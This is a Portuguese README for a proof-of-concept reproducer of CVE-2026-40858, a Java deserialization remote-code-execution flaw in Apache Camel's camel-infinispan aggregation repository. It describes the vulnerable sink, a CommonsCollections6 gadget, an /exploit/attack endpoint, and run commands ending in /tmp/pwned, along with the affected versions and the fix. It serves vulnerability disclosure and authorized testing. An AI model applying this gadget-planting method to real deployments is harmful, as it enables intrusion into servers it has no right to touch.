
Reprodutor para CVE-2026-40858 — desserialização insegura do repositório de agregação remota do Apache Camel camel-infinispan (RCE)
Este projeto demonstra uma vulnerabilidade de desserialização Java no componente camel-infinispan
do Apache Camel, identificada como CVE-2026-40858. O repositório de agregação remota baseado em
ProtoStream serializa cada Exchange agregado em um cache Infinispan remoto e, ao ler uma entrada de
volta (em get() / recover()), faz a desserialização com java.io.ObjectInputStream e sem
ObjectInputFilter. Um atacante que consiga gravar no cache de suporte pode plantar um objeto
serializado especialmente criado e obter execução remota de código na próxima vez que o repositório
ler essa chave.
Aviso de segurança: https://camel.apache.org/security/CVE-2026-40858.html
| Propriedade | Valor |
|---|---|
| Componente | camel-infinispan (repositório de agregação remota / HotRod) |
| Classe Afetada | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: Desserialização de Dados Não Confiáveis |
| Impacto | Execução Remota de Código (RCE) |
| Versões Afetadas | De 4.0.0 até antes de 4.14.7, de 4.15.0 até antes de 4.18.2, de 4.19.0 até antes de 4.20.0 |
| Versões Corrigidas | 4.14.7, 4.18.2, 4.20.0 |
| JIRA | CAMEL-23322 |
| Relator | Feng Ning (Innora Pte. Ltd.) |
O InfinispanRemoteAggregationRepository armazena cada Exchange como um DefaultExchangeHolder. Com o
marshaller ProtoStream, esse holder é adaptado pelo DefaultExchangeHolderProtoAdapter, cujo primeiro
campo ProtoStream é o holder serializado com um ObjectOutputStream comum. Ao ler de volta, o adaptador
reconstrói o holder passando esses bytes para DefaultExchangeHolderUtils.deserialize:
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
O ClassLoadingAwareObjectInputStream amplia, em vez de restringir, o conjunto de classes resolvíveis,
portanto o readObject() instanciará qualquer cadeia de gadgets presente no classpath. Como os bytes vêm
diretamente do cache remoto, qualquer pessoa que possa gravar essa chave de cache controla o fluxo de
desserialização — e o gadget é acionado durante o readObject(), antes que o valor seja sequer
convertido para DefaultExchangeHolder.
Uma rota (ou, como aqui, código de aplicação) usa o repositório de agregação remota apoiado por um servidor Infinispan:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
Qualquer get() / recover() em uma chave cujo valor armazenado foi adulterado aciona o sink.
O código Camel vulnerável é executado na aplicação (no host); o servidor Infinispan é executado em Docker como o armazenamento de suporte com o qual o repositório se comunica. Isso reflete como o repositório é implantado na prática: os dados não confiáveis residem no cache compartilhado.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
Nota sobre a simplificação do PoC. Um atacante real grava os bytes maliciosos diretamente no cache Infinispan compartilhado. Para manter o reprodutor autocontido,
/exploit/attackplanta o valor por meio do mesmo repositório (repo.add(...)com um gadget como corpo do Exchange) e então chamarepo.get(...)para acionar a leitura. O sink que executa o gadget é o próprioreadObject()do Camel, exatamente como seria acionado em qualquer entrada de cache adulterada por um atacante.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
O gadget CommonsCollections6 é montado em tempo real via reflection em java.util, portanto a JVM deve
ser iniciada com --add-opens java.base/java.util=ALL-UNNAMED:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
/tmp/pwned é criado pelo gadget (touch /tmp/pwned) enquanto o repositório desserializa o valor de
cache plantado.
docker compose down
rm -f /tmp/pwned
Qualquer implantação que use InfinispanRemoteAggregationRepository (marshalling ProtoStream) contra um
cache no qual um atacante possa gravar. O acesso de gravação ao cache pode vir de um cluster Infinispan
compartilhado/multilocatário, de um endpoint HotRod acessível pela rede ou de qualquer outro produtor que
deposite dados no mesmo cache.
commons-collections:3.2.1).Atualize para 4.14.7 / 4.18.2 / 4.20.0. A correção aplica um ObjectInputFilter / lista de
permissões de classes à desserialização do holder, correspondendo ao endurecimento aplicado aos outros
repositórios de agregação do Camel (camel-leveldb, camel-cassandraql, camel-jms) e ao camel-mina /
camel-netty.
Até atualizar:
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.